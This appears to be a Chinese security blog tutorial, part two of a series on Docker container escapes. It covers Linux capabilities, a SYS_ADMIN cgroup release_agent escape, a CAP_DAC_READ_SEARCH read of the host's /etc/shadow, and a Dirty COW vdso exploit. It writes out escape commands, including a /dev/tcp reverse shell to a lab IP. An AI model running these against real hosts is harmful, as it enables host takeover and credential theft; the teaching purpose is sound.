docker逃逸方法总结(二)

由 敢让世界种满石楠花吗(¬_¬) 发布

作者:晨星安全团队  tblr

五、Capability权限滥用

1. 什么是Capability权限

Capability权限是 Linux 系统中用于细粒度控制进程权限的机制,将传统的超级用户(root)权限拆分为独立的权限单元。每个单元(Capability)代表一个特定的特权操作,进程仅需获取所需的最小权限,而非完整的 root 权限,从而提高安全性。
Capability权限的分类(按功能划分)

(1)文件系统操作

CAP_CHOWN:允许修改文件的所有者和组。
CAP_DAC_OVERRIDE:忽略文件/目录的访问权限检查(绕过 DAC 规则)。
CAP_FOWNER:允许执行文件操作(如修改权限、删除),即使进程不是文件所有者。
CAP_LINUX_IMMUTABLE:修改文件的“不可变”属性(如 chattr +i)。

(2)网络操作

CAP_NET_BIND_SERVICE:绑定到 1024 以下端口(如 HTTP 80 端口)。
CAP_NET_RAW:使用原始套接字(如 ping 需要的 ICMP 套接字)。
CAP_NET_ADMIN:网络管理操作(如配置接口、路由表、防火墙规则)。

(3)进程与权限管理

CAP_KILL:向任意进程发送信号(如 kill)。
CAP_SETUID/CAP_SETGID:修改进程的 UID/GID(如 setuid() 系统调用)。
CAP_SETPCAP:修改其他进程的 Capabilities(权限传递)。

(4)系统管理

CAP_SYS_ADMIN:广泛的系统管理权限(挂载文件系统、磁盘配额、命名空间操作等)。
CAP_SYS_TIME:修改系统时钟和硬件时间。
CAP_SYS_MODULE:加载或卸载内核模块。
CAP_SYS_RESOURCE:覆盖资源限制(如 CPU 时间、文件大小限制)。

(5)硬件与内核操作

CAP_SYS_RAWIO:直接硬件访问(如操作 I/O 端口、内存映射)。
CAP_SYS_BOOT:重启系统或调用 kexec 加载新内核。
CAP_SYS_PTRACE:调试其他进程(如使用 ptrace())。

(6)安全与审计

CAP_AUDIT_CONTROL:启用/禁用内核审计功能。
CAP_MAC_ADMIN:配置强制访问控制(MAC)策略(如 SELinux)。
CAP_MAC_OVERRIDE:覆盖 MAC 策略(仅限部分场景)。

(7)其他特殊权限

CAP_IPC_LOCK:锁定内存(防止交换,如 mlock())。
CAP_SYS_NICE:修改进程优先级(如 nice 值)。
CAP_SYSLOG:执行特权系统日志操作(如读取内核日志)。

2. 权限检查

capsh检查

#在容器运行
cat /proc/1/status | grep Cap 
#在本地主机上执行 
capsh --decode=xxx



cdk检查

./cdk eva

3. SYS_ADMIN权限滥用逃逸

环境启动
大部分情况下,容器里的进程不需要以“完整”的root用户运行,Docker给容器内root账号只授予了几个默认的Capabilities,其他禁用。这意味容器里的root用户权限比宿主机上真正的root用户权限要小的多。
而在实际使用中,很多用户会违背Docker的安全防护配置原则。比如为了方便,容器以root用户启动,同时为了执行一些特权操作,给root用户额外授权一些Capability,例如SYS_ADMIN。
docker 通过–cap-add参数赋予容器特殊的CAP权限

docker run  -it --cap-add SYS_ADMIN --rm --security-opt apparmor=unconfined -v root/cdk:/root/cdk ubuntu:latest /bin/bash

利用条件

  1. 在容器内root用户

  2. 容器必须使用SYS_ADMIN Linux capability运行

  3. 容器必须缺少AppArmor配置文件,否则将允许mount syscall

  4. cgroup v1虚拟文件系统必须以读写方式安装在容器内部

cdk进行检测

./cdk eva

漏洞利用
在容器里创建一个临时目录/tmp/cgrp并使用mount命令将系统默认的memory类型的cgroup重新挂载到/tmp/cgrp上

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp  
#-t参数:表示mount的类别为cgroup 
#-o参数:表示挂载的选项,对于cgroup,挂载选项就是cgroup的subsystem,每个subsystem代表一种资源类型,比如:cpu、memory
#执行该命令之后,宿主机的memory cgroup被挂载到了容器中,对应目录/tmp/cgrp


对cgroup进行重新挂载时,只有当被挂载目标的hierarchy为空时才能成功,因此如果这里memory的重新挂载不成功的话可以换其他的subsystem, 然后cgroup类型里建一个子目录x

mkdir /tmp/cgrp/x


2.设置notify_on_release
cgroup每个subsystem都有参数notify_on_release,参数值是Boolean型,1或0,分别可以启动和禁用释放代理的指令,如果notify_on_release启用当cgroup不再包含任何任务时(即cgroup的tasks文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的文本内容。
release_agent文件不在/tmp/cgrp/x目录里,而是在memory cgroup的根目录/tmp/cgrp里,可以用来自动移除根cgroup里所有空的cgroup,通过执行以下命令将/tmp/cgrp/x的notify_no_release属性设置为1

echo 1 > /tmp/cgrp/x/notify_on_release

接着通过将release_agent指定为容器在宿主机上的cmd文件,先获取docker容器在宿主机上的存储路径:

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` 
cat $host_path


在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/x/release_agent参数指定的文件:

echo "$host_path/cmd" > /tmp/cgrp/release_agent

3.编写POC,将要执行的shell写到cmd文件里,赋予执行权限

echo '#!/bin/sh' > /cmd echo "sh -i >& /dev/tcp/192.168.12.135/12345 0>&1" >> /cmd chmod a+x /cmd

触发宿主机执行cmd文件中的shell

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

CAP_DAC_READ_SEARCH逃逸
早期的docker中容器内默认拥有CAP_DAC_READ_SEARCH的权限,拥有该权限后,容器内进程可以使用 open_by_handle_at 函数对宿主机文件系统暴力扫描,以获取宿主机的目标文件内容,Docker1.0之前对容器能力使用黑名单策略管理,并未限制CAP_DAC_READ_SEARCH能力,故而赋予了shocker.c程序调用open_by_handle_at函数的能力,导致容器逃逸的发生
环境启动

docker run -it --rm --cap-add CAP_DAC_READ_SEARCH -v /root/cdk:/cdk ubuntu /bin/bash

漏洞复现
CDK工具复现
1.检测

./cdk eva


读取宿主机/etc/shadow文件

./cdk run cap-dac-read-search /etc/shadow /etc/hosts

失败了哈哈哈,应该和安装的时候设置有关,无所谓知道怎么检测和利用就行,当然知道原理的话这里可以手工读取

到这里就不一一列举了,直接用下面这个命令看,其实也是能打的

./cdk run --list

六、漏洞提权

(1)内核提权漏洞–脏牛

漏洞原理
脏牛漏洞(Dirty COW,CVE-2016-5195)是Linux内核中的一个权限提升漏洞,源于内核在处理写时复制(Copy-on-Write,COW)机制时存在竞争条件。攻击者利用该漏洞获取对只读内存映射的写访问权限,从而提升权限,甚至获得root权限。
Docker环境中,容器与宿主机共享内核,因此宿主机存在脏牛漏洞时,容器也可能受到影响。攻击者可以在容器内利用脏牛漏洞,通过修改VDSO(虚拟动态共享对象)中的函数指针,执行恶意代码,从而实现容器逃逸,获取宿主机的控制权。
漏洞复现
编译脏牛EXP

cd dirtycow-vdso-master apt install gcc apt install nasm make

启动容器
将/root目录映射进容器方便后续操作,在实战中可能需要将编译好的可执行文件移动至容器中

docker run -it  --rm -v /root:/tmp/root ubuntu:14.04 /bin/bash

开启NC监听并使用exp工具攻击

./0xdeadbeef 192.168.52.1:12345


后面讲的k8s逃逸其实就是docker逃逸


0条评论

发表评论